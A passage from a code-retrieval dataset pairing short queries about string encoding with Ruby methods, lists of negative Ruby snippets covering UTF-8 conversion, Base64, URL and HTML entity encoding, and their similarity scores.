"0.63779706",
"0.6363821",
"0.63540536",
"0.6344918",
"0.63431716",
"0.63340646",
"0.63241214",
"0.6315879",
"0.6307075",
"0.62990236",
"0.6296339",
"0.62836874",
"0.62466544",
"0.62432235",
"0.62432235",
"0.6226008",
"0.62248397",
"0.62201446",
"0.62108594",
"0.62091905",
"0.620435",
"0.62011874",
"0.6199236",
"0.61885804",
"0.6183282",
"0.61813676",
"0.61680925",
"0.6164611",
"0.6159978",
"0.6156162",
"0.61554533",
"0.61550325",
"0.6153575",
"0.6151523",
"0.6128314",
"0.6125234",
"0.61173403",
"0.6115859",
"0.6113528",
"0.61071175",
"0.61068",
"0.6099469",
"0.6092987",
"0.6090019",
"0.6086114",
"0.6079042",
"0.6079042",
"0.60630727",
"0.6061064",
"0.6055147",
"0.6048967",
"0.60302746",
"0.6027823",
"0.6026998",
"0.60085094",
"0.600593",
"0.6005566",
"0.6003882",
"0.6003739",
"0.6002398",
"0.60008323",
"0.59997827",
"0.5998607",
"0.5997394",
"0.5996238",
"0.5995744",
"0.59928787",
"0.5986914",
"0.5982512",
"0.5977258",
"0.5970358",
"0.596696",
"0.5964711"
] |
0.82989985
|
0
|
Encode the string the given encoding
|
def encode(*args)
self.class.new super
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def encode(encoding)\n to_s.encode(encoding)\n end",
"def encode(string); end",
"def _encode_string(string)\n return string unless string.kind_of? String\n string.encode(\"UTF-8\", :undef => :replace, :invalid => :replace, :replace => \"?\")\n end",
"def encode_string; end",
"def encode(s)\n return s if s.nil?\n return s if s.valid_encoding?\n if s.force_encoding(\"iso-8859-1\").valid_encoding?\n return s.encode('utf-8', 'iso-8859-1')\n end\n s\n end",
"def encode(str,encoding)\n\n\tstr.each_char do |num|\n\t\tif (encoding.has_key? (num))\n\t\t\t\" \".push(encoding[num])\n\t\tend\n\tend\n\treturn empty_string\nend",
"def encode(string)\n URI.escape(string)\n end",
"def encode(text); end",
"def encode(text); end",
"def encode(str)\n if @using_old_ruby\n # Because ruby 1.8.7 doesn't have String#encode.\n require 'iconv'\n Iconv.conv('UTF-8//IGNORE', 'UTF-8', str + ' ')[0..-2]\n else\n str.encode('utf-8', 'binary', :invalid => :replace, :undef => :replace)\n end\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def encode(string)\n Base32.encode(string).downcase.sub(/=+$/, '')\n end",
"def encode_string_ex; end",
"def force_encoding(enc)\n @enml.to_s.encode(enc)\n end",
"def encode\n ::Base64.encode64(@string)\n end",
"def encode to_encode\n CGI.escape(to_encode)\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def encoding(encoding)\n primitive \"encoding #{encoding}\"\n end",
"def encode_string(str)\n str = str.to_s.encode('UTF-8')\n\n # Force to binary, when assembling the packet\n str.force_encoding('ASCII-8BIT')\n encode_short(str.bytesize) + str\n end",
"def string_encoder\n return string if string.valid_encoding?\n str = string\n Encoding.list.each do |e|\n begin\n str.force_encoding(e.name)\n tmp_string = str.encode('UTF-8')\n return tmp_string if tmp_string.valid_encoding?\n rescue\n Rails.logger.debug { \"Rescue -> #{e.name}\" } if defined?(::Rails)\n end\n end\n\n impossible_encoding\n\n string\n end",
"def ident_encode(string)\n string.force_encoding('ISO-8859-1').encode('UTF-8')\n end",
"def encode(input)\n return '' if input.nil?\n input.to_s.encode(Encoding::UTF_8)\n rescue Encoding::UndefinedConversionError\n input.dup.force_encoding(Encoding::UTF_8)\n end",
"def encoding(encoding); end",
"def encode(immune, input)\n return nil if input.nil?\n encoded_string = ''\n encoded_string.encode!(Encoding::UTF_8)\n input.encode(Encoding::UTF_8).chars do |c|\n encoded_string << encode_char(immune,c)\n end\n encoded_string\n end",
"def reencode_string(input); end",
"def encode(data)\n case @encoding\n when nil, :none, :raw\n data\n when :base64\n Base64.encode64(data)\n else\n raise Cryptic::UnsupportedEncoding, @encoding\n end\n end",
"def encode_with(coder); end",
"def encoding=(enc); end",
"def to_encoded_str\n string_io = StringIO.new\n self.encode string_io\n string_io.string\n end",
"def encoded_string(obj)\n obj.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def encode_string(string)\n raise ArgumentError, \"String must be present\" if !string\n encode_varint(string.bytesize) + BTC::Data.ensure_binary_encoding(string)\n end",
"def force_encoding(string)\n string.force_encoding(encoding)\n end",
"def encode(string)\n Base64.encode64(string).gsub(/\\n/, \"\")\n end",
"def set_encoding(text)\n unless text.encoding.name == \"UTF-8\"\n text = text.encode(\"UTF-8\", \n invalid: :replace, \n undef: :replace, \n replace: \"\"\n )\n end\n end",
"def encode(str)\n @base64 = Base64.encode64(str)\n end",
"def encoding(value = nil)\n value ? @encoding = value : @encoding\n end",
"def force_encoding(s, encoding)\n if s.respond_to?(:force_encoding)\n s.force_encoding(encoding)\n else\n s\n end\n end",
"def encoding(*args)\n if args.empty?\n return @encoding\n else\n @encoding = args[0]\n return self\n end\n end",
"def encode\n # no op\n end",
"def writeencoding; end",
"def encode(s)\n s.gsub!(\"<\",\"<\")\n s.gsub!(\">\",\">\")\n s.gsub!(\"& \",\"&\")\n s\n end",
"def encode encoder, options = {}\n if encoder.respond_to? :to_sym\n CodeRay.encode(input, lang, encoder, options)\n else\n encoder.encode_tokens tokens, options\n end\n end",
"def encode(value)\n Base64.encode64 value\n end",
"def encode\n type_byte + encode_data\n end",
"def transcode(string)\n return string.encode(\"iso-8859-1\").force_encoding(\"utf-8\")\nend",
"def path_encode(path)\n URI.encode(path.encode(Encoding::UTF_8))\n end",
"def force_encoding(enc)\n end",
"def re_encode_to_utf8(s)\n (s.valid_encoding? ?\n s :\n s.encode('UTF-16be', invalid: :replace, replace: '?')\n ).encode('UTF-8')\nend",
"def encode(string)\n [string]\n end",
"def url_encode(string)\n string = CGI.escape string\n end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encode!\n source = self.source\n\n return source unless source.encoding == Encoding::BINARY\n\n # Look for # encoding: *. If we find one, we'll encode the\n # String in that encoding, otherwise, we'll use the\n # default external encoding.\n if source.sub!(LEADING_ENCODING_REGEXP, \"\")\n encoding = magic_encoding = $1\n else\n encoding = Encoding.default_external\n end\n\n # Tag the source with the default external encoding\n # or the encoding specified in the file\n source.force_encoding(encoding)\n\n # If the user didn't specify an encoding, and the handler\n # handles encodings, we simply pass the String as is to\n # the handler (with the default_external tag)\n if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?\n source\n # Otherwise, if the String is valid in the encoding,\n # encode immediately to default_internal. This means\n # that if a handler doesn't handle encodings, it will\n # always get Strings in the default_internal\n elsif source.valid_encoding?\n source.encode!\n # Otherwise, since the String is invalid in the encoding\n # specified, raise an exception\n else\n raise WrongEncodingError.new(source, encoding)\n end\n end",
"def encode!; end",
"def encode\n transform :encode \n end",
"def encode(value)\n value.to_s(BASE)\n end",
"def encode(object)\n engine.encode(object)\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def encode(string)\n string.unpack('B*')[0].tr('01', \" \\n\")\n end",
"def encode(encoder, options = T.unsafe(nil)); end",
"def encode(encoder, options = T.unsafe(nil)); end",
"def encode_string(value)\n [value.bytesize, value].pack(\"L>A*\")\n end",
"def encode(str)\n\tswap_raw = \"GA-DE-RY-PO-LU-KI\".reverse.split(\"-\") + \"GA-DE-RY-PO-LU-KI\".downcase.reverse.split(\"-\") + \"GA-DE-RY-PO-LU-KI\".split(\"-\") + \"GA-DE-RY-PO-LU-KI\".downcase.split(\"-\")\n\tencoder = Hash.new\n\tswap_raw.each { |pair| encoder[pair[0]] = pair[1] }\n\tencoded_string = \"\"\n\tputs encoder\n\tfor char in str.split(\"\")\n\t\tif encoder.key?(char) #correct?\n\t\t\tencoded_string += encoder[char]\n\t\telse\n\t\t\tencoded_string += char\n\t\tend\n\tend\n\treturn encoded_string\nend",
"def encode_str(str)\n require \"base64\"\n encoded_str=Base64.encode64(str)\n return encoded_str\nend",
"def test_encoding\n\tassert_equal('x & x', NQXML.encode('x & x'))\n\tassert_equal('x ' x', NQXML.encode('x \\' x'))\n\tassert_equal('x <"> x', NQXML.encode('x <\"> x'))\n end",
"def utf8_encode(doc, from=nil)\n (from.nil?) ? doc.encode('utf-8', @encoding_args) : doc.encode('utf-8', from, @encoding_args)\n end",
"def unicode_filter_encode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_encode(str) : str\n end",
"def protect_encoding(x)\n x.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def ensure_encoding!(encoding: DEFAULT_ENCODING, try_encodings: PRIORITY_ENCODINGS)\n fix_encoding!(try_encodings: try_encodings)\n encode! encoding\n self\n end",
"def path_encode(path)\n Addressable::URI.escape(path.encode(Encoding::UTF_8))\n end",
"def additional_encoding(s)\n encoding_hash = {\":\" => \"%3A\", \"+\" => \"%2B\"}\n encoding_hash.each_pair do |k, v|\n s.gsub!(k, v)\n end\n s\n end",
"def encode(str)\n bitstring = str.each_byte.map { |chr| ENCODE_TABLE[chr] }.join\n bitstring << '1' * ((8 - bitstring.size) % 8)\n [bitstring].pack('B*')\n end",
"def safe_encode_utf8(text)\n text.force_encoding('ASCII-8BIT').encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :universal_newline => true)\nend",
"def safe_encode(string)\n CGI::escape(string).gsub(/\\+/, '%20')\n end",
"def try_with_encoding(string, encoding); end",
"def try_with_encoding(string, encoding); end",
"def transcode(str)\n str.force_encoding('UTF-8')\nend",
"def to_utf8(s)\n return force_encoding(s.gsub(/&(.*?)-/n) {\n if $1.empty?\n \"&\"\n else\n base64 = $1.tr(\",\", \"/\")\n x = base64.length % 4\n if x > 0\n base64.concat(\"=\" * (4 - x))\n end\n base64.unpack(\"m\")[0].unpack(\"n*\").pack(\"U*\")\n end\n }, \"UTF-8\")\n end",
"def utf8_encode(string, binary: false, placeholder: STRING_PLACEHOLDER)\n string = string.to_s\n\n if binary\n # This option is useful for \"gracefully\" displaying binary data that\n # often contains text such as marshalled objects\n string.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n elsif string.encoding == ::Encoding::UTF_8\n string\n else\n string.encode(::Encoding::UTF_8)\n end\n rescue StandardError => e\n OpenTelemetry.logger.debug(\"Error encoding string in UTF-8: #{e}\")\n\n placeholder\n end",
"def encoding\n @external_encoding\n end",
"def encode_body(body, charset)\n body = body.force_encoding(charset) if charset\n body.encode('UTF-8')\n end",
"def encode\n raise NotImplementedError\n end",
"def encodeURIComponent(componentString)\n ::URI::URIEncodeComponent(componentString)\nend",
"def encoding\n # noop?\n end",
"def encode_string s\n s.downcase.split(//).inject(\"\") do |code,char|\n code + encode_char(char)\n end\n end"
] |
[
"0.8474704",
"0.81294596",
"0.7757417",
"0.77471954",
"0.7503032",
"0.7446872",
"0.74240047",
"0.736579",
"0.736579",
"0.730174",
"0.72981435",
"0.72763926",
"0.7240497",
"0.7195593",
"0.71294093",
"0.7125705",
"0.7109486",
"0.7054325",
"0.7054325",
"0.7052739",
"0.7052053",
"0.70073396",
"0.6999408",
"0.6953859",
"0.6906838",
"0.6853825",
"0.6849323",
"0.6826464",
"0.6823057",
"0.6815111",
"0.6783231",
"0.6725158",
"0.66918224",
"0.6666595",
"0.6640609",
"0.6625474",
"0.6614269",
"0.65622336",
"0.6550515",
"0.6545218",
"0.6533839",
"0.6533314",
"0.6525627",
"0.6523448",
"0.6520016",
"0.65188557",
"0.64936745",
"0.64827806",
"0.6481414",
"0.6476757",
"0.64675456",
"0.6463375",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.6453405",
"0.64186275",
"0.64114934",
"0.6410764",
"0.6398243",
"0.6387685",
"0.63730377",
"0.63730377",
"0.6372684",
"0.636823",
"0.636823",
"0.636321",
"0.63473374",
"0.6344068",
"0.63397235",
"0.6335684",
"0.633489",
"0.6325121",
"0.6317908",
"0.6316347",
"0.6279752",
"0.6272898",
"0.62572265",
"0.6256056",
"0.6255497",
"0.6255497",
"0.6231686",
"0.6226446",
"0.62213856",
"0.62143594",
"0.6188652",
"0.6179473",
"0.61733794",
"0.6170791",
"0.6150613"
] |
0.0
|
-1
|
Encode the given string into UTF8
|
def encode(input)
return '' if input.nil?
input.to_s.encode(Encoding::UTF_8)
rescue Encoding::UndefinedConversionError
input.dup.force_encoding(Encoding::UTF_8)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _encode_string(string)\n return string unless string.kind_of? String\n string.encode(\"UTF-8\", :undef => :replace, :invalid => :replace, :replace => \"?\")\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def encode_utf8 string\n (string.respond_to?(:force_encoding) and string.respond_to?(:encoding)) ?\n string.force_encoding(Encoding::UTF_8) : string\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def encode_string(string)\n string.encode('UTF-8', {\n :invalid => :replace,\n :undef => :replace,\n :replace => '?'\n })\n rescue Exception\n nil\n end",
"def to_utf8(str)\n str.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def to_utf8(str)\n str.encode(Encoding::UTF_8)\n end",
"def encode(str)\n if @using_old_ruby\n # Because ruby 1.8.7 doesn't have String#encode.\n require 'iconv'\n Iconv.conv('UTF-8//IGNORE', 'UTF-8', str + ' ')[0..-2]\n else\n str.encode('utf-8', 'binary', :invalid => :replace, :undef => :replace)\n end\n end",
"def to_utf8(str)\n str = str.force_encoding('UTF-8')\n return str if str.valid_encoding?\n str.encode(\"UTF-8\", 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def utf8(string)\n string.force_encoding(Encoding::UTF_8)\n end",
"def to_utf8(str)\n str = str.force_encoding(ENCODING)\n return str if str.valid_encoding?\n str.encode(ENCODING, 'binary', invalid: :replace, undef: :replace,\n replace: '')\n end",
"def encode_string(str)\n str = str.to_s.encode('UTF-8')\n\n # Force to binary, when assembling the packet\n str.force_encoding('ASCII-8BIT')\n encode_short(str.bytesize) + str\n end",
"def to_utf8(str)\n if RUBY_VERSION == \"1.8.7\"\n str\n else\n str.force_encoding(Encoding::UTF_8.name)\n end\n end",
"def encode(s)\n return s if s.nil?\n return s if s.valid_encoding?\n if s.force_encoding(\"iso-8859-1\").valid_encoding?\n return s.encode('utf-8', 'iso-8859-1')\n end\n s\n end",
"def re_encode_to_utf8(s)\n (s.valid_encoding? ?\n s :\n s.encode('UTF-16be', invalid: :replace, replace: '?')\n ).encode('UTF-8')\nend",
"def transcode_to_utf8(s)\n unless s.nil?\n s.encode(Encoding::UTF_8, :invalid => :replace, :undef => :replace)\n end\n end",
"def to_utf8(s)\n return force_encoding(s.gsub(/&(.*?)-/n) {\n if $1.empty?\n \"&\"\n else\n base64 = $1.tr(\",\", \"/\")\n x = base64.length % 4\n if x > 0\n base64.concat(\"=\" * (4 - x))\n end\n base64.unpack(\"m\")[0].unpack(\"n*\").pack(\"U*\")\n end\n }, \"UTF-8\")\n end",
"def utf8_encode(string, binary: false, placeholder: STRING_PLACEHOLDER)\n string = string.to_s\n\n if binary\n # This option is useful for \"gracefully\" displaying binary data that\n # often contains text such as marshalled objects\n string.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n elsif string.encoding == ::Encoding::UTF_8\n string\n else\n string.encode(::Encoding::UTF_8)\n end\n rescue StandardError => e\n OpenTelemetry.logger.debug(\"Error encoding string in UTF-8: #{e}\")\n\n placeholder\n end",
"def encode(string); end",
"def toUtf8(str)\n str = str.force_encoding('UTF-8')\n return str if str.valid_encoding?\n str.encode(\"UTF-8\", 'binary', invalid: :replace, undef: :replace, replace: '')\nend",
"def utf8(string)\n string.force_encoding('utf-8') unless string.nil?\n end",
"def encode_string(string)\n raise ArgumentError, \"String must be present\" if !string\n encode_varint(string.bytesize) + BTC::Data.ensure_binary_encoding(string)\n end",
"def _utf8(str)\n return str.force_encoding(Encoding::UTF_8)\nend",
"def utf8\n self.encode('UTF-8', 'binary', :invalid => :replace, :undef => :replace, :replace => '?')\n end",
"def safe_encode_utf8(text)\n text.force_encoding('ASCII-8BIT').encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :universal_newline => true)\nend",
"def utf8_safe\n encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def to_utf8(s)\n return nil if s.nil?\n\n # Attempt to politely transcode the string.\n s.encode(\"UTF-8\").scrub\n rescue\n # If that doesn't work, then overwrite the existing encoding and\n # clobber any strange characters.\n s.force_encoding(\"UTF-8\").scrub\n end",
"def to_utf (str)\n encoded_str = ''\n str.split('').each {|char| \n encoded_char = char.encode('UTF-8')\n encoded_char.bytes.each {|byte|\n encoded_str << \"%#{byte.to_s(16)}\"\n }\n }\n return encoded_str\nend",
"def transcode(str)\n str.force_encoding('UTF-8')\nend",
"def encode(string)\n URI.escape(string)\n end",
"def encode(string)\n Base32.encode(string).downcase.sub(/=+$/, '')\n end",
"def transcode(str)\n return str.force_encoding(Encoding::UTF_8)\nend",
"def encode_string; end",
"def unicode_filter_encode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_encode(str) : str\n end",
"def force_encoding(string)\n string.force_encoding(encoding)\n end",
"def make_utf8(str)\n return Kconv.toutf8(str.strip)\n end",
"def transcode(string)\n return string.encode(\"iso-8859-1\").force_encoding(\"utf-8\")\nend",
"def string_encoder\n return string if string.valid_encoding?\n str = string\n Encoding.list.each do |e|\n begin\n str.force_encoding(e.name)\n tmp_string = str.encode('UTF-8')\n return tmp_string if tmp_string.valid_encoding?\n rescue\n Rails.logger.debug { \"Rescue -> #{e.name}\" } if defined?(::Rails)\n end\n end\n\n impossible_encoding\n\n string\n end",
"def ident_encode(string)\n string.force_encoding('ISO-8859-1').encode('UTF-8')\n end",
"def encode(encoding)\n to_s.encode(encoding)\n end",
"def encode(str,encoding)\n\n\tstr.each_char do |num|\n\t\tif (encoding.has_key? (num))\n\t\t\t\" \".push(encoding[num])\n\t\tend\n\tend\n\treturn empty_string\nend",
"def fix_utf8\n str = force_encoding(\"UTF-8\")\n return str if str.valid_encoding?\n\n str.encode(\"UTF-8\", \"binary\",\n invalid: :replace, undef: :replace, replace: \"\")\n end",
"def encoded_string(obj)\n obj.to_s.encode('utf-8', invalid: :replace, undef: :replace)\n end",
"def to_utf8(raw_text)\n if raw_text.platform_id == 1 && raw_text.encoding_id == 0\n return raw_text\n else\n begin\n raw_text.encode(\"UTF-8\", \"UTF-16BE\")\n rescue\n raw_text\n end\n end\n end",
"def set_encoding(text)\n unless text.encoding.name == \"UTF-8\"\n text = text.encode(\"UTF-8\", \n invalid: :replace, \n undef: :replace, \n replace: \"\"\n )\n end\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def fix_encoding!(str)\n\t#str.force_encoding(\"UTF-8\")\n\t#pp str.encoding, str.valid_encoding?\n\tstr.encode!(\"UTF-16BE\", :invalid=>:replace, :replace=>\"?\")\n\tstr.encode!(\"UTF-8\")\nend",
"def encode_as_utf8(obj)\n if obj.is_a? Hash\n obj.each_pair do |key, val|\n encode_as_utf8(val)\n end\n elsif obj.is_a?(Array)\n obj.each do |val|\n encode_as_utf8(val)\n end\n elsif obj.is_a?(String) && obj.encoding != Encoding::UTF_8\n if !obj.force_encoding(\"UTF-8\").valid_encoding?\n obj.force_encoding(\"ISO-8859-1\").encode!(Encoding::UTF_8, :invalid => :replace, :undef => :replace)\n end\n end\n obj\n end",
"def to_encoded_str\n string_io = StringIO.new\n self.encode string_io\n string_io.string\n end",
"def encode_string_ex; end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def protect_encoding(x)\n x.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n end",
"def reencode_string(input); end",
"def encode(unicode)\n unicode.gsub!('U+', '\\u')\n\n unicode.gsub(/\\\\u[\\da-f]{4}/i) { |m| [m[-4..-1].to_i(16)].pack('U') }\n end",
"def encode(string)\n string.unpack('B*')[0].tr('01', \" \\n\")\n end",
"def encode\n ::Base64.encode64(@string)\n end",
"def encode(string)\n Base64.encode64(string).gsub(/\\n/, \"\")\n end",
"def to_utf8!; replace(to_utf8); end",
"def encode(str)\n bitstring = str.each_byte.map { |chr| ENCODE_TABLE[chr] }.join\n bitstring << '1' * ((8 - bitstring.size) % 8)\n [bitstring].pack('B*')\n end",
"def to_utf8(text)\n replaced = text\n unless replaced.nil?\n replaced = replaced.force_encoding(\"UTF-8\") if is_ascii_8bit?(replaced)\n replaced = cleanup_utf8(replaced)\n end\n replaced\n end",
"def encode(immune, input)\n return nil if input.nil?\n encoded_string = ''\n encoded_string.encode!(Encoding::UTF_8)\n input.encode(Encoding::UTF_8).chars do |c|\n encoded_string << encode_char(immune,c)\n end\n encoded_string\n end",
"def url_encode(string)\n string = CGI.escape string\n end",
"def try_utf8!(string, encoding = ::Encoding::UTF_8)\n return nil unless string\n string.force_encoding(::Encoding::ASCII_8BIT) unless string.force_encoding(encoding).valid_encoding?\n string\n end",
"def to_utf8; convert_format(ASCII8BIT, UTF8); end",
"def encode(string)\n [string]\n end",
"def do_encoding(string)\n ## removing newline (needed for pty/expect newlines)\n string[0, 2] = '' if string.start_with? \"\\r\\n\"\n string[0, 3] = '' if string.start_with? \"\\r\\r\\n\"\n string.gsub!(\"\\r\\n\", \"\\n\")\n # string.chomp!\n string\n end",
"def utf8_encode(doc, from=nil)\n (from.nil?) ? doc.encode('utf-8', @encoding_args) : doc.encode('utf-8', from, @encoding_args)\n end",
"def encode_string(str)\n str.chars.map(&:ord)\n end",
"def convert_string_to_utf8(string)\n begin\n # string is probably already unicode if it parses at UTF-8\n Iconv.iconv('UTF-8', 'UTF-8', string)\n return false\n rescue\n # try ISO-8859-15, then give up.\n begin\n return Iconv.iconv( 'UTF-8', 'ISO-8859-15', string )\n rescue\n return false\n end\n end\n return false\nend",
"def safe_encode(string)\n CGI::escape(string).gsub(/\\+/, '%20')\n end",
"def force_encoding(s, encoding)\n if s.respond_to?(:force_encoding)\n s.force_encoding(encoding)\n else\n s\n end\n end",
"def path_encode(path)\n URI.encode(path.encode(Encoding::UTF_8))\n end",
"def encode(text); end",
"def encode(text); end",
"def encode(str, transliterate: false, replace_char: nil, truncate: false)\n return if str.nil?\n\n replace_char = canonicalize_replace_char(replace_char)\n\n processed_str = str.unpack('U*').map do |char|\n utf8_char = char.chr(Encoding::UTF_8)\n\n compatible_char = compatible_char_for(char)\n transformed_char = transformed_char_for(char) if transliterate\n gsm_char_for(compatible_char || transformed_char || utf8_char, replace_char)\n end.join\n\n truncate ? truncate_into_single_segment(processed_str) : processed_str\n end",
"def to_utf7(s)\n return force_encoding(force_encoding(s, 'UTF-8').gsub(/(&)|([^\\x20-\\x7e]+)/u) {\n if $1\n \"&-\"\n else\n base64 = [$&.unpack(\"U*\").pack(\"n*\")].pack(\"m\")\n \"&\" + base64.delete(\"=\\n\").tr(\"/\", \",\") + \"-\"\n end\n }, \"ASCII-8BIT\")\n end",
"def encode(str)\n @base64 = Base64.encode64(str)\n end",
"def encode(s)\n s.gsub!(\"<\",\"<\")\n s.gsub!(\">\",\">\")\n s.gsub!(\"& \",\"&\")\n s\n end",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m|\n sprintf(\"%%%02X\", m.unpack1(\"C\"))\n }\n end",
"def to_utf8(v)\n return v unless v.is_a?(String)\n return v if (enc = v.encoding) == (utf = Encoding::UTF_8)\n Encoding::Converter.new(enc, utf).convert(v) rescue v.dup.force_encoding(utf)\nend",
"def wputs(str)\n puts str.encode(\"cp866\", str.encoding)\nend",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.]/n) { |m|\n sprintf(\"%%%02X\", m.unpack(\"C\")[0])\n }\n end",
"def encoding\n Encoding::UTF_8\n end",
"def encoding\n Encoding::UTF_8\n end",
"def fix_encoding(str)\n str.force_encoding(Encoding.default_external) if str.respond_to?(:force_encoding)\n str\nend",
"def encode_string s\n s.downcase.split(//).inject(\"\") do |code,char|\n code + encode_char(char)\n end\n end",
"def url_utf8(raw_url)\n URI::escape(raw_url)\n end",
"def toutf8; Kconv.toutf8(self) end",
"def b64_encode(string)\n Base64.encode64(string).tr(\"\\n=\",'')\n end",
"def encode_str(str)\n require \"base64\"\n encoded_str=Base64.encode64(str)\n return encoded_str\nend",
"def encode to_encode\n CGI.escape(to_encode)\n end",
"def to_utf8(mixed)\n if mixed.kind_of? Array\n mixed.each {|elem| to_utf8(elem)}\n else mixed.kind_of? String\n charset = NKF.guess(mixed).name\n charset == \"UTF-8\" ? mixed : mixed.encode!(\"UTF-8\", charset)\n end\n mixed\n end",
"def utf8\n c = self.class\n if String.method_defined? :force_encoding\n replace c.new(map(&:utf8))\n else\n self\n end\n end",
"def toutf8(str)\n ::NKF::nkf('-wm', str)\n end",
"def path_encode(path)\n Addressable::URI.escape(path.encode(Encoding::UTF_8))\n end",
"def force_to_utf8(text)\n ActiveSupport::Multibyte::Unicode.tidy_bytes(text)\n end",
"def plaintext_utf8(delim=\"\\n\")\n plaintext(delim).encode('UTF-8', invalid: :replace, undef: :replace, \n replace: '?')\n end",
"def force_utf8(buf) \n buf.force_encoding('ISO-8859-1').encode('UTF-8', 'UTF-8', replace: nil) \n end"
] |
[
"0.867825",
"0.86472607",
"0.86472607",
"0.823213",
"0.8231667",
"0.8125949",
"0.80617046",
"0.79565674",
"0.781854",
"0.77978075",
"0.7784431",
"0.77720326",
"0.77171564",
"0.76481396",
"0.7646895",
"0.76012784",
"0.7581979",
"0.75240725",
"0.75166196",
"0.7409157",
"0.7379827",
"0.7350699",
"0.73419267",
"0.7329662",
"0.7323003",
"0.7301121",
"0.72255266",
"0.71819574",
"0.7173553",
"0.7115502",
"0.71108335",
"0.7092091",
"0.7042039",
"0.69764405",
"0.69241554",
"0.6916869",
"0.68713135",
"0.6827409",
"0.6797614",
"0.6784073",
"0.6770801",
"0.6736247",
"0.6734459",
"0.67289877",
"0.6720838",
"0.67098945",
"0.67098945",
"0.66610914",
"0.6653183",
"0.66331995",
"0.6600832",
"0.6590863",
"0.6590863",
"0.6585685",
"0.656538",
"0.65450025",
"0.6537106",
"0.65305626",
"0.65278614",
"0.6521167",
"0.6506347",
"0.64863133",
"0.64859366",
"0.64688057",
"0.6456663",
"0.64492005",
"0.63821507",
"0.63782156",
"0.637702",
"0.6348767",
"0.63274515",
"0.6316284",
"0.63005453",
"0.6299514",
"0.6261395",
"0.6261395",
"0.6260269",
"0.6259272",
"0.6258292",
"0.6257482",
"0.6230412",
"0.62235814",
"0.6199531",
"0.6168134",
"0.61677504",
"0.61677504",
"0.61526936",
"0.61488515",
"0.6144235",
"0.6141758",
"0.6140285",
"0.6121206",
"0.6118561",
"0.611123",
"0.61056346",
"0.61007255",
"0.60948783",
"0.60859853",
"0.608457",
"0.6082086"
] |
0.7235486
|
26
|
Encode the given UTF8 char.
|
def encode_char(char, safe_chars = {})
return char if safe_chars[char]
code = char.ord
hex = hex_for_non_alphanumeric_code(code)
return char if hex.nil?
hex = REPLACEMENT_HEX if NON_PRINTABLE_CHARS[code]
if entity = HTML_ENTITIES[code] # rubocop:disable Lint/AssignmentInCondition
"&#{entity};"
else
"&#x#{hex};"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def encode_character(char)\n if @@has_ord ||= char.respond_to?(:ord)\n char.ord.to_s\n else\n char[0]\n end\n end",
"def encode_char(immune, input)\n input\n end",
